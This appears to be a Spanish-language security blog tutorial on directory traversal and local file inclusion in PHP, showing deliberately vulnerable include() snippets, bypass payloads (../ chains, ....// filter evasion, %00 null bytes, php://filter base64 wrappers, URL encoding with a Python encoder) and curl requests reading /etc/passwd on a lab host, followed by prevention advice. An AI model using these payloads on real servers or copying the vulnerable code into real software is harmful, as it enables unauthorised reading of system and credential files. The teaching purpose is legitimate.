Bienvenidos a un nuevo post en Byte Mind, en el caso de hoy explicaremos en qué consiste la vulnerabilidad de Directory Traversal, como llevar a cabo una explotación exitosa y como podemos prevenir ser vulnerables a la misma, así que sin más dilación vamos a ello.
Índice
¿Qué es Directory Traversal?
Directory Traversal, también conocida como path traversal, es una vulnerabilidad de seguridad en entornos web que permiten que un atacante pueda obtener acceso de lectura a ficheros locales del servidor donde está corriendo la aplicación.
Esto incluiría ficheros con código de la aplicación, datos, credenciales o ficheros sensibles del sistema operativo.
En algunos casos, el atacante, es capaz de escribir ficheros arbitrarios en el servidor, permitiéndole la modificación de los datos o del comportamiento de la aplicación e incluso, poder tomar un control completo del servidor.
Tipos de ataques
A continuación veremos diferentes vulnerabilidades asociadas así como la vulnerabilidad en sí y como poder explotarlo con sencillos ejemplos que permitan entender al completo esta vulnerabilidad. En nuestro caso hemos hecho una simple aplicación en php para poder mostrarlo.
Explotación básica
Realizaremos este primer ejemplo con el siguiente código
1 2 3 4 |
<?php $page = $_GET['page']; include($page); ?> |
En el mismo solicitamos la inclusión de un valor que se proporciona por el parámetro page a través del método GET, se almacena en una variable y se utiliza la función include para mostrarlo.
En este caso la explotación es muy sencilla debido a que es posible acceder a cualquier fichero sin restricciones, siempre y cuando se tengan permisos de lectura sobre el mismo, por ejemplo acceso al fichero /etc/passwd.
Veámoslo con un ejemplo:
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=/etc/passwd" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Como se aprecia en el ejemplo, con una simple petición curl ha sido posible leer el fichero /etc/passwd, lógicamente, en el ejemplo, se ha recortado el mismo para evitar hacerlo muy largo.
Directory Path Traversal
En este caso se añade una pequeña sanitización sobre el código, especificando la ruta en la cual están los ficheros.
1 2 3 4 |
<?php $page = $_GET['page']; include("/var/www/html" . $page); ?> |
Esta podria parecer una buena idea pero al aplicar un directory path traversal, podemos retroceder en el árbol de directorios hasta la raiz y apuntar a cualquier archivo nuevamente
1 |
../../../../etc/passwd |
Y veamos el ejemplo de la petición
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=../../../../etc/passwd" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Como vemos, a pesar de haber especificado la ruta, no ha sido útil a la hora de intentar evitar la vulnerabilidad.
Reemplazo
En otras ocasiones es posible que se trate de reemplazar los caracteres ../ para tratar de evitar la vulnerabilidad. En el siguiente ejemplo de código se utiliza la función str_replace de php para eliminar esta cadena.
1 2 3 4 5 |
<?php $page = $_GET['page']; $page = str_replace("../","", $page); include("/var/www/html" . $page); ?> |
El problema es que este reemplazo sólo se realiza una vez, por lo tanto es posible realizar un bypass
1 2 |
....// --> ....// --> ../ ..././ --> ..././ --> ../ |
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=....//....//....//....//etc/passwd" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Provocando que a pesar de haber tratado de eliminar la cadena, ha sido posible saltarse la protección y acceder al fichero de nuevo.
Doble reemplazo
En ocasiones he visto también que se ha realizado dos veces este reemplazo, como se aprecia en el siguiente código
1 2 3 4 5 6 |
<?php $page = $_GET['page']; $page = str_replace("../","", $page); $page = str_replace("../","", $page); include("/var/www/html" . $page); ?> |
Y la lógica es la misma que en el anterior ejemplo sólo que añadiendo dos . y una / por cada uno de ellos
1 |
......///......///......///......///etc/passwd |
Y dando lugar de nuevo a una explotación exitosa
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=......///......///......///......///etc/passwd" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Como vemos, no es una medida de protección segura ya que acabaría por poder obtenerse el fichero, o en caso de meter un bucle, podría llegar a un bucle infinito, lo que tampoco nos beneficiaría.
Null Byte
Otra opción posible es añadiendo explícitamente la extensión del fichero que se quiere obtener, en el siguiente ejemplo sería la extensión .php
1 2 3 4 |
<?php $page = $_GET['page']; include("/var/www/html" . $page . ".php"); ?> |
En este caso se puede hacer un bypass utilizando un byte nulo mediante los caracteres %00, eliminando con ello todo lo que vaya después de lo deseado
1 |
../../../../etc/passwd%00 |
Siguiendo el ejemplo la explotación sería la siguiente:
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=../../../../etc/passwd%00" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Wrapper base 64
Otra posibilidad es que la aplicación compruebe que el valor introducido no inicie por los caracteres / o .. para evitar los ataques anteriores. El código en nuestro caso sería el siguiente:
1 2 3 4 5 6 |
<?php $page = $_GET['page']; if (substr($page, 0, 1) !== "/" && substr($page, 0, 2) !== "..") { include($page); } ?> |
En este caso entrarían los filtros de php, para el caso de este ejemplo sería la conversión a base64
1 |
php://filter/convert.base64-encode/resource=/etc/passwd |
Haciendo simplemente la petición nos devolvería el base64
1 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" |
Al cual podríamos decodificar directamente como en el siguiente ejemplo
1 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d |
O utilizando el filtro base64 en lugar de base64-encode para obtener el resultado directamente
1 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=php://filter/convert.base64/resource=/etc/passwd" |
URL Encode
En otras ocasiones se utiliza una lista negra de palabras para evitar accesos a estos ficheros, veamos el código de ejemplo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?php $page = $_GET['page']; $badwords = array("../", "/etc/passwd"); foreach ($badwords as $badword) { if (strpos($page, $badword) !== false) { exit(); } } $page = urldecode($page); include("/var/www/html" . $page); ?> |
La petición deberíamos hacerla codificada por lo que expongo un script en python que me ha sido útil en varias ocasiones, el código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import sys if len(sys.argv) < 2: print("Usage: python3 {sys.argv[0]} <path> encoders") print("By default it do one encode.") exit(1) if len(sys.argv) < 3: count = 1 else: count = int(sys.argv[2]) def urlencode(string): urlencode = "" for character in string: decimal = ord(character) urlencode += "%" + hex(decimal)[2:] return urlencode value = sys.argv[1] for i in range(0, count): value = urlencode(value) print(value) |
El anterior script permite codificar tantas veces como se desee, partiendo de una, así que vamos a ejecutar el mismo:
1 2 |
$ python3 urlencoder.py ../../../../etc/passwd %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 |
Y lanzamos la petición
1 2 3 4 5 |
$ curl -s -X GET "http://192.168.2.52/example.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64" root:x:0:0:root:/root:/bin/bash --- user1:x:1000:1000::/home/user1:/bin/bash user2:x:1001:1001::/home/user2:/bin/bash |
Y observamos que ha sido posible explotarla de nuevo.
Cómo evitar este tipo de vulnerabilidades
La forma más efectiva de evitar esta vulnerabilidad es evitar que el usuario pueda pasar entradas al sistema de ficheros, ya sea a través de parámetros, una api, etc… ya que como se ha visto en los anteriores ejemplos, hay muchas formas de poder saltarse este tipo de restricciones.
En el caso de que sea necesario por alguna razón para nuestra api, las siguientes dos capas deberían de utilizarse para prevenir ataques:
- La aplicación debería de validar la entrada de datos por parte del usuario. Idealmente la validación debería de comparar contra una lista de valores y caracteres permitidos.
- Después de validar la entrada de datos, la aplicación debería añadir la entrada al directorio base utilizado por la plataforma para canonicalizar la ruta. Esta parte debería también validar que la ruta es correcta antes de proceder a la carga del fichero.
Y hasta aquí por el momento, espero les sea de utilidad y les haya ayudado a comprender un poco más este tipo de ataques y como es posible evitar ser vulnerables a los mismos.